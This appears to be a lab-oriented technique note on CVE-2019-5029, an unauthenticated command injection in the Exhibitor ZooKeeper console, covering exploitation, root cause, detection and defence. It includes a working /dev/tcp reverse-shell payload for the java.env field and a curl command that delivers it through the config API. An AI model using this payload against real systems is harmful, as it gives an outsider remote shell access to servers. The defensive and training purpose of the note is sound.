Exhibitor unauthenticated RCE (CVE-2019-5029)
CVE-2019-5029 is an unauthenticated command injection in Exhibitor, the web interface that supervises Apache ZooKeeper clusters. Exhibitor's config panel lets you edit ZooKeeper's startup parameters and, critically, requires no credentials. Among those parameters is the java.env script field: Exhibitor writes it to a java.env file and executes it every time the supervisor (re)starts.
The result is trivial command execution: any command wrapped in $() or backticks in that field runs on committing the changes. A reverse shell is enough:
$(/bin/sh -i >& /dev/tcp/<attacker>/4444 0>&1)After writing it, you hit Commit > All At Once, which restarts the instance and triggers the execution. It can also be done via API without touching the UI:
curl -X POST -d @data.json http://<ip>:8080/exhibitor/v1/config/setwhere data.json carries the full config with the reverse shell in "javaEnvironment".
How you get there. The surface often hides behind a redirect: an nginx or Jetty redirecting to /exhibitor/v1/ui/index.html. Follow the redirects, not just the port list. Once in the panel, it is pure command injection over a field that gets executed.
Why it happens. Exhibitor combines two mistakes: it has no authentication and exposes a field whose content runs as a script. Any admin console that writes and executes code without a login is, in effect, RCE for whoever reaches it, much like file upload RCE.
How to detect it. The network signal is an unauthenticated POST to /exhibitor/v1/config/set (or the save from the UI) whose javaEnvironment field contains $(), backticks or /dev/tcp, followed by a commit/restart of the instance. On the host, the pattern is process lineage: the supervisor (java/Exhibitor) spawning sh/bash as a child after rewriting the java.env file (a FIM on that file catches it). An outbound connection from the ZooKeeper server right after a config change closes the chain.
Defence. Put Exhibitor only on trusted networks or behind an authenticating proxy, restrict via firewall the interfaces it listens on, and if you only need to supervise ZooKeeper, replace it with a simpler solution (a systemd service).
Machines where it's used
- PelicanProving Grounds Practice